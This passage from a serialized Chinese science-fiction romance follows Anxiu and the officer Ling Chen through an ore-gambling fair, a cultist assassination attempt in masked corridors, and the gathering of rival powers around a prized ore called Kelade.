“难道不是吗?”安秀瞪了他一眼,“我很早就想说了,麻烦你不要老是用这种语气跟我说话。”
总是摆出一副长官的样子,好像随时要压自己一头,给了她极大的不安感。从前在皇宫,要是稍微表现得好欺负一点,就会有一大堆人用各种手段找乐子,她受够了被人压一头的感觉。
不过,这番话在凌宸听来又成了挑衅。安秀总是一次次挑战他的秩序感,这令他也有些不满。
“想听听什么是真正的质疑吗?”凌宸将杯中的饮品一饮而下,来自深蓝色眼眸的视线不再透过玻璃杯朦胧,而是精准地锁定她。
“第一,假设姐妹会成员会因为贪婪暴露身份,又如何确定她会以预设的方式现身?如果有更高级别的反渗透系统怎么办?第二,你如何保证矿主和投资人的资金链是稳固的?如果遭遇策反或外部市场波动,你该如何脱身?第三,你怎么就能确定,你这‘平平无奇’的身份,不会被识破?”
他的声音放低,散发着若有若无的冷气,激得安秀一抖,血压直线上升。
她一步步向前压去,每说一句,就走近一步。
“确定身份的手段是诱饵量身打造,只有她本人来才会触发;合作稳定与否在于利益捆绑的深度,平台是我给的,巨额利润是我让的,想策反?代价她们无法承受;至于我的身份,她有从出身到现在的全部真实可查的记录,核心信息早就被我亲手销毁了。”
她在不远不近的距离停下,凌厉地和他对视:“现在,谁是对的?”
凌宸半阖眼,纤长的睫毛在光照下浮现投影,看不出具体的神情。
半晌后,他轻声道:“你是对的。”
一向冷硬的凌宸居然在这种时候选择服软。安秀似乎发现了什么有趣的事,笑了一声,神色变得玩味,继续接近他。
凌宸被她的气势包裹,皱了皱眉。
这回可无法拿醉酒当理由。
如果,像温泉那天那么近,他一定会让她付出惨痛的代价。
正当凌宸精神紧绷地看着她下一步动作的时候,小腹被什么尖尖的东西抵住了。他低头一看,是一根镀银指挥棒,尖端还镶了一颗深红色的宝石。
她们的距离,恰好被控制在安全的边缘。安秀的手上挑,指挥棒慢慢划到了他的左胸处,调整了一下装饰的位置。
“你这里,歪了。”
说罢,她转身示意凌宸跟上,离开了休息间。
小腹还残留被指挥棒抵住的感觉,凌宸摸了摸胸前的装饰,看着她离去的背影沉思。
明明安秀的态度说不上礼貌,甚至冒犯,但他却升起了一股从未有过的、炽热的兴奋感。
好想制服她,又或者......
按捺着不安分的内心,他跟安秀走了出去。
第一区此时正在热火朝天地进行矿石交易,所有散碎的低级深渊矿在重力系统的作用下飘浮起来,在主厅形成一个个庞大球体。
微量深渊粒子从矿石里挥发出来,被保护屏障隔绝,只留下淡淡的金色光华,弥漫在躁动的空气中。
“该死……又赌错了!”
“再来!”一个大腹便便的顾客拍桌子叫道,“再给我十次机会!”
“哈哈哈哈哈,中级深渊矿,我发财啦!!”
“中级?!你出个价!”
……
安秀经过一个又一个聒噪的客人,走在深渊矿石球体之间,指挥棒有一下没一下地划着,金色光华在棒尖汇集,在空气中划出一道金线。
凌宸做不到无视这根指挥棒,好奇道:“这是什么?”
“这是能感知深渊粒子的东西,可以帮忙找到含量最高的深渊矿,”她晃了晃指挥棒,对他勾唇,“来都来了,不玩玩吗?”
凌宸对赌石并不感兴趣,更不打算给她捧场:“我们的关系还没好到这个地步。你自便吧,我先走了。”
抽出时间过来配合她的计划,已经是最大的让步。对他来说,与其在这种娱乐项目上浪费时间,不如多看几份军事资料。
“两位是来玩的吗?”一位侍从礼貌地拦住了她们的去路,“请核实一下身份。”
说罢,他拿出一片虚拟屏让二人确认信息,两人核实完后,侍从看了眼记录,问安秀:“请问这位先生,是您的……?”
她有心报复凌宸
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刚才的扫兴举动,坦然道:“我是富姐,他是我的小白脸。”
凌宸的脸瞬间像冰封一样僵住了。
“如果二位对更高等级的深渊矿感兴趣,可以去二区。”
侍从见资料显示她们很有财力,暗示她们去更高级的区域消费。
安秀挥了挥手,示意不用侍从不用费心:“我们先在这逛逛。”
“好的,好的,就不打扰二位雅兴了,有需要随时吩咐。”侍从瞄了一眼冷着脸的凌宸,暗道现在富人的口味就是独特。
侍从走后,凌宸在她身后咬牙道:“你最好给我一个解释。”
安秀振振有词:“按照我们现在的身份,我很有钱,你是我的情人,不就是富姐和小白脸吗?既然你答应了配合我的计划,可不要让人拆穿了。别乱走,陪我逛逛。”
“哼。”凌宸挽上她的手,一字一句地说,“我是你的情人,是吗?”
“想上位,你还得努力努力。”
“倒反天罡。”
于是,路过的客人便看见乔装后,穿着低调奢华的安秀,旁边挽着一位冷漠美丽的男人。由于他的容貌太过出挑,路人都看得移不开眼。
就连她也不得不承认,凌宸穿上军装和别的衣服时候的样子判若两人。
指挥棒指引安秀到了一个深渊矿球体前,金色的丝线肉眼可见地变宽了一点点。
她吩咐一旁的侍从为她操作:“我要NX879、NX880、NX934和NH102号深渊石。”
侍从将四颗石头调取下来,一旁的机器开始切割解析,石头被一层层拨开露出里面的核,最终等级显示四个都是低级,但有一个成色不错,可以回本。
“再来十个。这回我要......”
凌宸既不打扰,也不像刚才那样扭头就走,默默看着她玩,把她选下来的石头全部收集到一起。
见凌宸这么省心,安秀更得意了,连开了几十个石头,在五十抽的时候金光迸发,中了一个中级深渊矿,播报响彻全场。
“你看见了吗?我还是有那么点天赋的!”
到底是在皇宫待久了,安秀总是会因为新鲜事物激动,发誓今天一定要玩个过瘾。
“嗯,你是很有天赋。”
凌宸一边附和,一边整理那些石头,偶尔还拿起来看看成色。
见他这么“乖”,安秀总有种不详的预感,但凌宸迟迟没有做出什么意料之外的事,下一波的赌石高潮即将到来,她便顾不上那么多。
一个、两个......在指挥棒的加持下,安秀开出中级石头的概率虽不及真的专业人士那么高,但可变现的交易币也到了一个令人瞠目结舌的地步。
正当她满意地决定收手时,凌宸在一旁问:“我可以去旁边的饰品区逛逛吗,富姐姐?”
富姐姐?呵呵呵......
安秀恰好在情绪顶峰,这个词一出口无异于浇了把油,她的身体里就像有数不清的小蝴蝶扑棱扑棱飞起来,奇妙的触电感一路从脚底升到头顶。
17.反咬一口
这个称呼在很受用,安秀拼尽全力抑制住飘飘然的感觉,也不在乎为什么凌宸会突然对饰品感兴趣了。
她看在他一直配合的份上,大气地摆摆手,说道:“你去逛吧,我再买几发,看上什么了我买单。”
凌宸走去不远处的饰品区,这里的珠宝饰品大多是低阶深渊石制成,除了工艺外没有特别值钱的地方,但极其偶尔的,某些特殊饰品可能开出天价。
因此,也有不少客人在这赌一把运气。
凌宸把刚刚几十个深渊石的成色记在心里,精明地打量这些珠宝,对比它们和深渊石的价格,突然,他看到了一颗蓝色的宝石。
这颗宝石被埋在很深很深的地方,要不是他眼光好,几乎不会有人发现。
他用一个眼神示意侍从过来,侍从见是一个穿着精致的年轻帅哥,知道是个潜在的大客户,忙不迭帮他将无重力区的那块蓝宝石调出来。
这块宝石看上去普通,但蓝得透亮,凌宸用光照了照,它便折射出班懒的颜色,像浩瀚星辰。
他也是有见识的人,知道这块宝石必定价值不菲。
“我要原价购买。”
侍从见他如此大方,眼睛一亮,问:“请问先生如何支付?”
他淡淡道:“我是‘富姐姐’的‘情人’。”
为了保证身份不会被人拆穿,安秀甚至将细节设置到诸如“双生卡”的程度,二人的支付是绑定的,符合人设。
他安静地回到安秀身边,继续看她抽石头。
此时的安秀还不知道即将发生什么,她正在开最后一发十连。
“一金......两金......三金!大人,三个中级深渊石!一区所有中级深渊石告罄,感谢大家支持!”
安秀碍于身份没有欢呼出来,但凌宸通过薄粉的脸颊和微张的嘴唇知道,她现在很兴奋。
看到她这么开心,一想到待会要做什么,他就浑身舒畅。
安秀道:“我要全部兑换交易币。”
毕竟只是来玩玩,她不是真的深渊矿爱好者。带有深渊粒子的矿石堆在一起,不知道会不会对人体造成影响,不如让矿主回收。
这么多成色不错的矿石加起来足以回本,甚至赚上不少。
一旁的侍从见还可以把矿石回收,十分高兴地为她结算起来,虚拟屏上的余额一路往上飙......
“还不少。”安秀意犹未尽地看着那几处飘起的矿石球体,余光瞥见了凌宸手上的东西。
“嗯?这是什么,”她凑过来一看,随意一问,“你想买的东西吗?”
凌宸抬起了手召唤出虚拟屏,点开了付款界面,安秀忽然想起了什么,差点失去表情管理:“不......”
唰——
“不不不,不要......不!”
不顾安秀的小声哀求,刚到顶峰的余额,在一瞬间清零。
凌宸出手的方式和时机妙得不能再妙,刚好卡在安秀以为要拿到高额回馈的最后一秒,造成了物理和精神的双重打击,完全是教科书级别的战术运用。
“谢谢你,富姐姐。”凌宸晃了晃手上蓝得发光的宝石,“赌石有风险,钱先由我保管。”
“.....你!!!”
安秀通红的脸,让凌宸想起喀尔塔星上滚动的红云。
他似笑非笑地加了又添一句,还刻意咬重某两个字:“看来我这个‘情人’当得不错,你都脸红了。”
她气得差点背过去。
看她这副样子,凌宸的心情大好,唇角终于勾起。
这样的场景实在罕见,但是由于凌宸的姿态太过自然放松,路过的客人只能理解为两人在调情。
在她们看来,这位美男正在温柔地笑,至于旁边那位看上去身世不凡的女士,为什么会脸红......
大概是因为心动吧。
商会第一期持续三天,这期间并没有“鱼”咬钩的迹象,安秀继续耐心等待。
那个人,一定会收到消息然后赶过来。无论她用什么身份、什么方法,只要她动了,必然会落网......
终于,在第二期的第一天晚上,一个消息隐秘地传送到了她的终端。
「目标已咬钩。」
按正常计划来讲,会有一则通讯打过来,但她的终端很久都没反应。
休息室除了她空无一人,凌宸几分钟前出去了,大概有紧急军务要处理。安秀想了想,决定自己行动。
为了以防万一,她拿起用于防身的手枪,并将能量刃别在靴子右侧,戴上这期会场专用的面具,离开了休息室。
“鱼”很狡猾,挑了假面主题的第二期深渊矿商会入场,来往的宾客戴着形形色色的动物面具,完全看不清面具后的人是谁。
安秀根据终端最后消息显示的定位寻找位置,暗红色的走廊仅有几盏灯指引方向,深深的黑暗不知通往何方。
强烈的直觉警告她不要再往前,可是还有另一种直觉告诉她要继续往前走,前面有重要的东西等着她。
这是陷阱。
不——这也有可能是机会。
安秀用两根指头摸了摸墙壁,继续向前走去,身后响起窸窸窣窣的声音。
“谁?!”
她倏地回头,那几个黑影消失不见,只留下走廊帘子另一侧宾客来往的嘈杂,愈发衬托出走廊的寂静。
咻——!
几乎在声音发出来的同时,她往旁边一撞,肩膀磕到夹角传来热辣的痛,而旁边的墙壁被打穿了一个孔。
她闻到一股淡淡的蛋白质烧焦味,味道很轻,却足够唤醒基因中的强烈反感。
她下意识寻找气味的源头,发现原来是自己的一缕头发被打穿了。
“......”
情况比她想象得危险太多,原本用来钓她们的饵,变成了为她打造的陷阱。
那些人到底是怎么带着静音弹混进来的?
她躲藏的位置是个死角,幽暗的走廊又闪过几个黑影,似乎在寻找她的位置,她瞄准时机冲到另一边。
咻——咻——
又是几发静音弹打过来,造成的弹径小到无法被警报系统识别,但穿透力足以杀死一个成
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年人。
安秀在心底暗骂一声,想要逃出这个走廊,却发现一时间难以找到合适的路线。
在这干耗着,她只有死路一条,不想死,必须先发制人。
在下一个黑影出现时,她拔枪射击并快速转移到另一个点位,黑影趔趄了一下,怒骂几句,显然没料到她的枪法这么好。
为了拿到家族密辛,她在皇宫蛰伏的那些年,可不是白干的。
她和索菲娜一开始算不上熟悉,但好在二人成了朋友,在她那学到了不少保命技巧。
黑影大概有四个,现在这个黑影刚好落单,机会正好。她伏低身子,在黑暗中靠近中弹的黑影,拔出能量刃正中命门。
黑影摇晃几下即将倒地,她扶着让他轻轻挨地,不发出一点声响。
安秀拔出这个人的静音枪,发现不会用,只得先别在腰间,紧接着踩碎他的通讯设备取走了芯片,整个过程不到十秒。
她举着枪,在迷宫似的走廊行走,听到了陌生的脚步声,心脏咚咚跳起来。
“咔哒”。她们同时解锁保险,用黑洞洞的枪口对准对方。
黑暗中的身影认出她,率先放下枪,道:“自己人。”
是凌宸的声音。然而此时她的警戒值已经拉到最高,还是举着枪不放下,低声急促道:“你先出来。”
那人从黑暗中走出来,真的是凌宸,不过戴着一张猫科动物的面具。
她们迅速转移到一个安全的角落,安秀利用细微的光线观察他,还在他精致的礼服上摸来摸去。
凌宸敛眉:“你干什么?”
“检查你是不是真的凌宸。”
“没有这么检查的。你太紧绷了。”
最后一句话真给凌宸说对了,虽然她有一点身手,但毕竟是第一次遇到这种真枪实弹的情况,很难不过分紧张。
能反杀一个,已经算她心理素质强大了。
反观凌宸,气息平稳、蓄势待发,一看就是实战的老手。
安秀暗暗观察他的体态和呼吸频率,并尽可能模仿他,状态果然恢复了一些。
“现在是什么情况?”
“四个刺杀者,我干掉了一个,剩下三个分别在走廊东侧和西侧,还有一个在这附近。”
“附近的那个我干掉了。”
凌宸看着她沉默了一秒,又说:“这里没有虚拟信号,先把剩下的干掉再说。”
“那还愣着干什么,教我怎么用这个,”安秀拿出静音枪,“静音枪,不容易被警报系统误识。”
凌宸接过枪,拨弄几下,居然把枪拆了,她还没来得及开口问怎么回事,凌宸又唰唰把枪安好,递给了她。
“改好了,保险钮按两次,其它操作一样。”
“嚯,你还会这个。”
“这是我的台词吧。”
“接下来怎么办,我们一人一边?”
“一起行动。先解决东边的,优先恢复信号,然后从C1紧急通道出去。”
凌宸说出一连串清晰简明的指示,安秀决定服从命令,因为他是她们之中最有经验的人。
18.分道扬镳
她跟随凌宸移动到拐角处,这里的智能体系统几乎全部瘫痪,无法识别活人的踪迹,只能用肉眼观察。
正当安秀眯着眼使劲瞧的时候,凌宸似乎在一片漆黑中看到了什么,示意她靠近,耳语几句后消失在了黑暗中。
她咽了咽口水,继续往那处唯一的光亮走,地毯愈发显得鲜红起来。
一道黑影果然在凌宸的预判下出现了,她先行举枪说道:“不许动!”
黑影狞笑一声,与她周旋起来,刚刚消失的凌宸悄无声息地出现在他背后,一只手拿着安秀的能量刃。
她拼命抑制住往凌宸的方向看的冲动,一边转移黑影的注意力:“你是谁派来的?你们的目的是什么?”
“渎神者,这是你们的审判日。”
“渎神?我是无神论者,哪来的亵渎?”
黑影面目狰狞,毫无征兆地“哇”地一声冲过来,但还没能靠近她,就被凌宸一拳打晕了。
这一拳打得很重,重到安秀怀疑这人是否还能醒过来。
凌宸不知从哪顺了根绳子将他捆住,搜了这人的身,果不其然搜出一个信息隔绝器,取出芯片一阵摆弄后,这里终于恢复了信号,走廊重见光明。
安秀刚拨通矿主的通讯,矿主的人马就赶了过来。
“该死的,那群教徒潜进商会搞刺杀,说什么渎神,走廊区域的智能体系统僵化,我们刚刚才能进来搜人。你们没事吧?”
安秀摇了摇头,问:“客人们呢?”
“这......那群教徒的行踪非常隐秘,目标是各管理层,没有引起大规模骚乱。矿主为了维持稳定决定让商会继续,让你去安全的地方。”
安秀摇了摇头,尝试处理复杂的情况。
教会,渎神?她引诱的对象,或者说对她放下诱饵的对象,难道不应该是姐妹会吗?
一阵焦灼的思考后,她颅内白光乍现,失声道:“糟了!”
她们的目标是深渊石!
安秀快速说:“我们要立即到总控室封锁所有矿石,限制人流出入,她们想把中级以上的矿石都端走!”
真是令人恼火,明明她已经让跟克诺洛斯茶会无关的投资人和矿主主持这次活动,为什么还是被识破了?她们知道了她的真实身份吗?
姐妹会的人知道这是一个饵,无法用正常手段拿到想要的东西,便利用教徒畸形的信仰抢夺利益。
她想带着矿主人马去总控室,凌宸抓住了她:“你就不怕那里有更多埋伏吗?现在情况复杂,我们应该先撤退。”
“可是她们就要达成目的了呀!”
凌宸危险地沉下声音,钳着她手腕的力气大得吓人:“你还不知道吗?她们想杀了你。”
矿主的势力这时回复道:“我们果然在总控室那边发现了很多可疑的持械人物,矿主已经将所有商品封锁,暂时没有危险了。”
安秀松了口气,凌宸收起枪,踢了踢一旁的俘虏:“怎么处置这个家伙?”
凌家宅邸。
“原本我只是为了把米诺引出来,没想到惊动了整个姐妹会,她们一定有非涉陷不可的理由,”安秀在大厅来回踱步,“我现在觉得不只是那些深渊石那么简单。虽然矿石稀有,但也不至于让她们大动干戈......”
凌宸静静地看着她:“那你觉得她们是为了什么呢?”
安秀随手拿起桌子上的水喝了一口,思考片刻,笃定道:“是克拉德。”
那个因为种种原因被她指认为“最终商品”的高级深渊矿。
“一开始,用来引诱米诺的饵是一颗叫斐拉的中级深渊矿,有强大的疗愈作用,可以治疗她身患重疾的弟弟,她一定会为了这个机会上钩。
“但是这连办三期的大型商会,不能让区区中级矿当最终商品。于是在矿主的推荐下,我选了克拉德。”
凌宸突然插嘴:“矿主的推荐?”
她意外道:“是的。怎么了?”
“没什么,”凌宸拿起蓝宝石在手里摩挲,“你继续。”
“我刚才查了一下,克拉德不是普通的深渊矿,它被拜深渊神教奉为教宝,可以解释为什么那群教徒那么疯狂。
“那你觉得,姐妹会为什么想要克拉德?”
“我不清楚,但我觉得是因为它很强,”安秀的眼眸在灯光下熠熠生辉,“据拜神教的典籍称,克拉德的名字来源于一种变异的深渊兽,人类完全没有抵抗之力。”
“哼。”
凌宸冷笑了一声。
“你在笑什么?”
“笑拜神教的荒谬。先不论克拉德是否真的存在,人类的科技已经发展到了什么地步,我最清楚。不存在没有抵抗之力的情况。”
凌宸说这句话并非没有依据。他是军备统筹部的成员,研究的都是最顶峰的军备武器。
因此,即便安秀有些不同的观点,还是不打算在他擅长的领域争论,而是将话题转到姐妹会这边。
“下一期商会照常进行。”
凌宸嚯地抬头,目光变得穿透性极强:“这就是你那么处置俘虏的原因吗?”
“矿主人马抓到了另一个俘虏,拷打之下没问出任何信息,于是给他们打了两针洗脑剂放了回去,她们以为我已经死了。”
“所以,你赌她们一定会返回现场争夺克拉德。”
“是的。不过经过这么一出,矿主还会把真的克拉德放在现场吗?”
“会。高级深渊矿一旦固定,特批的仪器无法在短短两天内转移,它的真伪在第一期就验证过了。”
“那好,我们明天就可以......”
“夫人,”凌宸打断她,道,“你的任务结束了。”
安秀大为震惊:“为什么,计划不是很顺利吗?只需要再微调一下计划,第三期就可以弄到姐妹会的名单,甚至不只是名单!”
凌宸神色微敛:“原因显而易见。今天我们遭遇了刺杀,明天又会遇到什么?克拉德已经成为多方势力的目标,你还敢混进去要什么名单,活腻了吗?”
他把话说得很重,但安秀毫不领情:“我有我
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自己的打算,既然答应了米莉,就要做到。”
她不信什么危险不危险,今天不是活下来了吗?
凌宸见她态度坚决,倒也不急,慢悠悠站起身:“我就知道,你不吃这套。”
她自信地笑了笑:“是的,你早就应该料到了。如果你怕的话,我一个人去也行。”
“嗯,时间差不多了。”
“什么时间差不多了?”她恍惚一下,看到刚才喝的水,心中瞬间警铃大作,“你......”
她眼前一片黑暗,倒在了凌宸的臂弯里。
凌宸垂眸看着怀里熟睡的她,低笑一声:“多谢你的付出,事情变得更有趣了。”
不知过了多久,安秀迷迷糊糊地醒来,发现自己躺在卧室的床上,天色已暗。
她翻身下床,看到时间是凌晨三点,暗道不妙,急忙去开门,结果生物码解锁失败,显示已被更高优先级的生物码替代。
宅邸里有最高优先权的人只有那个人。她在心底大喊一声岂有此理,打开了通讯。
幸好信号没被屏蔽,她呼叫了索菲娜。
对面刚接通,安秀就说:“索菲娜,来活了。”
对面的索菲娜看上去很兴奋:“小姐,你又要偷偷出去玩啦?”
“差不多,我要去办大事。”
凌宸越是不信任她的能力,她越要证明给他看。
不过几分钟,有人敲了敲窗子,把窗子打开了,安秀一看,果然是一路爬上来的索菲娜。于是她带着准备好的行头,和她一起爬了下去。
她一边爬,一边暗笑凌宸考虑得不够“周到”,一没有屏蔽信号,二没有加强周围的警卫,三没有给窗户设置生物锁。
看来他还没变态到那个地步。
这也不怪他,毕竟没有一个正常人会想到,她居然能从那么高的墙上跟个壁虎似的爬下去。
她们熟门熟路地绕过智能体系统的检测范围,然后安秀叫索菲娜回去。
索菲娜并不想离开她:“为什么?小姐,我跟你去更有保障,而且我们已经好久没这样过了。”
“我们都长大了,这不是在皇宫里。”她耐心解释道,“而且,如果凌宸发现了把你辞退怎么办,等我厉害起来,能保护你的时候再玩这个。你先回去,到时候他问起来你就说不知道。”
索菲娜恋恋不舍地回去处理痕迹了,她则扭头搭上了星际快舰。算上时差,距离第三期商会开场还有不到三小时。
此时,商会某处。
一个穿着雍容华贵的妇人坐在榻上,身边围着各色美男为她斟酒。她看了看对面的人,轻笑两声,道;“好久不见,你还是那么拘谨,克诺洛斯。”
“又见面了,你还是老样子。”克诺洛斯戴着她那顶颇有辨识度的帽子,摆摆手,拒绝了男侍的侍奉。
她看上去很平静,可是妇人敏锐地感觉到她不喜欢这种场景。
“呵呵,”妇人打了个手势,召集了更多男侍过来,“你那里有只小老鼠不听话啊,好在她已经死了,是吗?”
19.漂亮男侍
克诺洛斯对此有所耳闻。按照妇人多疑的心思,没有看到尸体是不会完全相信人死了的,她在试探自己的态度。
当然,她不可能给她想要的东西,犀利地反问:“跟拜神教合作欺负一个小角色,也好意思说出来?”
“小角色可没有活着的资格。侵犯了我们的利益,只能怪她倒霉。”
跪在地上的男侍被妇人随意踩在脚下,克诺洛斯沉吟不语。
半晌,她把目光移开,看向单面隔板外光鲜亮丽的商会现场:“想必我们的目标,是同一个吧。”
“矿主巴不得把这个烫手山芋扔出去,这回要是还有小老鼠来捣乱,可不要怪我们不客气了。”
“你也没客气过。”
听罢,妇人哈哈大笑起来,手故意一斜,血红色的酒水淋在了男侍白皙的皮肤上。克诺洛斯起身,离开了休息室。
走出去前,克诺洛斯道:“和疯子打交道,终会引火焚身。”
同一时间,成功以军官夫人身份进入会场的安秀戴上了虚拟皮套,将引人注意的红眸隐藏了起来。她们红眼睛家族在上流社会不怎么受待见,能低调还是低调点好。
光是走在会场里,她都能感觉到这期商会的氛围发生了巨大转变。
第一期和第二期的客人显然是商业人士居多,小到商铺小贩大到商界大拿,但这一期,政界和军界的人士肉眼可见地增多了起来。
为了不被熟人发现,她刻意调整了体态和气质,用余光寻找想要去的地方。
由于凌宸的打断,她没有时间顾及克拉德了,当务之急是找到中级深渊石斐拉和目标人物米诺,让她交出姐妹会名单。
她按照记忆中的路线走,却发现很多地方换了位置,决定停下来找地图。
原本用于展出中级深渊矿的地方变成了私人休息室。她来到一个休息室旁,找到门口的智能体指引,发现真正的展厅标号全部打乱,理解起来十分困难。
就像刻意要人看不懂一样。
像个无头苍蝇一样乱摸也不是办法,万一还没找到展厅就遇见了凌宸......他应该不会认出她吧?
正当心中快速思考办法的时候,拐角出来了一名年轻的男侍。原本,她不怎么在意来往的侍从,可是无意间的一撇,让她的大脑轰隆一声,世界陷入静止。
这名朝她走来的男侍的眼睛,是红色的。
纯正的红色,跟她一模一样的红色。
眼见男侍就要跟她擦肩而过,安秀想都没想,一把抓住了他的手臂,不顾他的惊慌,将他拉到了一边。
她嘴唇翕动了一下,干巴巴地问:“你,是谁?”
“我?我是、我是客人的侍从。”男侍的眼里带着恐惧和疑惑,不明白她为什么要这么做。
距离拉开,安秀才发现他的身上有酒水痕迹,淅淅沥沥地淋湿整个上半身,连白色的衬衫都被染成半透明的。
都这副样子了,他的主人怎么还让他出来,不怕被其她人看到吗?
“你没事吧?”
一想到这个红眼睛男侍可能是她的家人,她的心就一阵绞痛。她想关心,却不知以何种身份关心,只能用力控制心痛的表情,装作随口一问。
“我没事,这位女士,主人有令不能与其她宾客交流,请您自重。”
男侍看上去比她还小,显然比她局促很多,漂亮的眼睛流露不安,却因身份低微不敢向她发怒。
“我......我只是想问个路,看你的身份,应该有场馆地图吧,”安秀拾起她这个地位应有的距离感,语气冷漠,上下打量男侍的衣着,推测他的主人地位不低,“我来得急,有些迷路了,想去一个很重要的地方,你能帮我吗?”
男侍犹豫了一下,还是答应了:“我把地图传给你。”
“谢谢,你叫什么名字?”
安秀心底隐秘的期待几乎要破土而出,这是她有生以来见过的为数不多的几个家人之一。
“我没有名字。”
男侍的话像一泼冷水浇在滚烫的铁片上,只留下刺耳的滋滋响。
像被人硬生生灌了一碗苦水,安秀叹了口气,想把外套脱下来给他罩着。男侍连连摆手拒绝,拖着单薄的身影走进了黑暗中。
通讯器收到了一份真正的地图。不出所料,场馆中的地图设置了门槛,只有特殊宾客才有资格看到解码后的地图。
金色琉璃石一路蔓延在黑色的宽道,有的展馆整个漂浮在室内,有的穿插在大道中间,而她要找的斐拉矿在这条大道的另一头,需要沿着金色琉璃的指引过去。
斐拉的拍卖还有大约一个小时才开始,乘坐场内接驳车需要多次验证身份。为了保险,安秀决定步行。
在出发前,她最后望了一眼男侍离开的方向。那里只剩下无尽的、黑洞洞的走廊,而她的弟弟——或许可以这么叫——像个可怜的幽灵一样消失了。
她调整了一下状态,义无反顾地扭头,走向前方。
原先第一区的低级深渊矿全被撤走,换成了清一色数量更少、但质量更高的中级深渊矿,每个展厅都有主展矿石,每个矿石都有自己的名字。
这一切的安排早就没了自己的影子,但安秀早有心理准备。
早在得知克拉德对各方势力有如此大的吸引力后,她意识到矿主不是为了借她人情才办的这个商会,而是为了找个理由把克拉德转手。
她是整个利益链的一环,是计划的起始,但当一切开始运行的时候,她也无力改变。
拥有特权的人士多用接驳车来往,高高地悬在头顶,而普通的商人只能步行或坐地面接驳车,只有被俯瞰的权利。
联想到男侍的处境,再看到这种在帝国再正常不过的场景,安秀感到五味杂陈。
她摇了摇头,暗示自己不要被情绪左右,往好了想,至少不会在这种地方遇见凌宸。
结果还没走出几步,一艘小型舰艇停在了不远处的高级客户平台,她定睛一看,舰艇的侧边居然是军方的银色标识。
她闭上了眼,
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又睁开,再闭上眼。
这不是梦。
舰艇停在她正右手边的上方,舰艇处下来了一队军官,凌宸走在最前方。
行人安静地散开到两旁让军官们通过,象征权力和暴力的白色军装在会场中显得无比扎眼,晃动的金饰闪到了安秀的眼睛,她和其她人一样低下了头。
一时间,这片区域只有黑色锃亮的军靴摩擦地面的声音,最前面的军靴在她面前停下了,是披着将级披风的凌宸。
她感觉到他的目光在自己身上停留了一会。她稳住心态,没有抬头,所幸凌宸只是低声跟旁边的下属耳语了几句,然后离开了。
交通恢复,安秀松了口气,继续往前走,而凌宸则去了高级宾客休息室。
刚刚他下舰的时候,看到了一个莫名熟悉的身影,在她面前停了下来。不过她没有抬头,装扮气质都与安秀有细微的差别,他无法确认是不是安秀。
下属迟疑道:“长官?”
身后的军官们和两旁的行人还在等待,凌宸收回目光,道:“没什么。只是突然想起那份申请要尽快上报,你去处理一下。”
“是。”
她离开了。
大概是他看错了。
经过了刚才的虚惊一场,继续走在大道上也有风险,为了避免再遇到别的熟人,安秀决定抄小道去斐拉的展馆。
她干脆将防碍行动的外套脱下,随手扔给路过的侍从,然后进入了一个隐秘的拐角。
熟悉的红色地毯和迷宫般的走廊引入眼帘,它是商会的地道,可以通向任何一个展馆。安秀调出场馆的地图,调整为地下模式,地图实时指引起她的位置。
地图上出现了很多个黑点,前面有些嘈杂,一群身穿黑色正装的人熙熙攘攘地走过来,穿过她,然后四散到走廊的各个方向。
安秀觉得有些奇怪,一般的客人不会走地下通道,难道场馆地下还有别的活动吗?
那群人穿过她之后,这里再次恢复寂静,她按下心中莫名升起的不安,继续往前走。
接下来的路程几乎没有任何行人打搅,偶尔会遇见一两个黑色正装的客人,她选择无视。墙上似乎出现了特殊的印记,安秀上前一看,心中的不安再次爆发。
那是一个眼睛,眼睫毛不知为何变成了触手,四周还有散落的羽毛。
是拜神教的标记。考虑到她们上一期的所作所为,要抹除吗?
她抬起袖子,想擦掉这些诡异的印记,忽然被一个阴冷的眼神锁定。
每条走廊的入口,不知何时站满了黑色正装的人。
全部,都在盯着她。
这比真刀实枪来得更令人胆寒,她装作优雅地擦汗,若无其事地快步离开了这里,同时默默记下了每个标记大概的位置。
被阴冷眼神锁定的感觉好长一段时间才消失,她甚至不敢回头看。直到遇到下一个正常的客人,她才如释重负地回头看了一眼,黑衣服的人都不见了。
距离斐拉开展,还有二十分钟。
20.三方势力
第三区,皇冠展厅。
金红交错的庞大展位上空无一物,唯有华丽至极的来自世界各地的深渊矿在厅内来回展出,就连负责警戒和服务的智能体系统都换上了昂贵的涂层。
一切的一切,都是为了该展厅内等待的贵客们心情舒适,然而不少人已经等不及了。
帝羽星星球财团总裁,霍·菲尔德。
“我已经等了一天了,还没看到克拉德的影子。”
环帝星关税稽查总长,蒙德·亨特。
“这个矿主终于松口了,好东西总是捂不住的。还有多久?给我个确切的时间!”
行星防御系统总监,莉莉斯·威尔拉。
“我们的时间很宝贵。东西呢?”
......
类似的不满越来越多,从一个人连成一片,细微的声浪中偶尔冒出大声催促,经验丰富的管家擦了擦汗,再次说出已经重复了无数遍的说辞。
“劳请诸位等待,因展品特性,克拉德将于傍晚八点展出,如若有需要,可以移步至娱乐厅观看展演......”
“知不知道我跨越了整整两个时域才到这里啊,还要我等这么久?叫你们矿主出来!”
“说好的第三期展出,第三期已经开始这么久了,不管什么原因,我必须立马看到克拉德!”
面对这群颐气指使的权贵,管家微微躬身,右手按在胸前的家族纹章上:“各位所言极是。克拉德的价值值得这份期待——正因如此,矿主才坚持在最佳状态下展出。根据矿业行会第37条特殊展品条例,天然形成的高级深渊结晶体需在特定星象角度下展示,今晚八点整,上空将出现持续17分钟的''双星合璧''天象,正是展现克拉德内部星尘纹理的唯一时机。”
像是为了印证管家的话一般,展厅的天花板逐渐变得透明,广袤的上空一览无余。巨大的虚拟时钟悬在头顶,播放倒计时。
台下安静了一些,但仍有人表示不接受。
“帝国早就有了模拟天象的技术,用得着等那么久吗?”
“请容许我解释,总长阁下,模拟天象需要征得星球天象总部同意。矿主有令,如果诸位能说服天象总部,克拉德可以提前展出。”
台下寂静无声。天象总部是皇室直属单位,即使她们已经是帝国凤毛麟角的存在,也没人有能力动摇天象总部。
正当躁动的人群悻悻回归平静时,一道威严有力的女声响起:“我已说服天象总部,提前开展。”
这个消息让滚烫的热水再次沸腾,众人一片哗然,看向声音传来的方向。只见女人身穿黑色裙装,头戴纱帽,纱网装饰刚好遮住了眼睛,神秘而庄严。
有人小声惊呼:“是克诺洛斯!”
商会的侍从们诚惶诚恐地为克诺洛斯引路,阶梯在特殊的重力系统下逐个升起,直至专为尊贵客人量身打造的高台。
还未等克诺洛斯入座,展厅外又传来毫不遮掩的笑声,注重礼仪的权贵们眼神流露不满,认出那人的身份后,又忙不迭低下头。
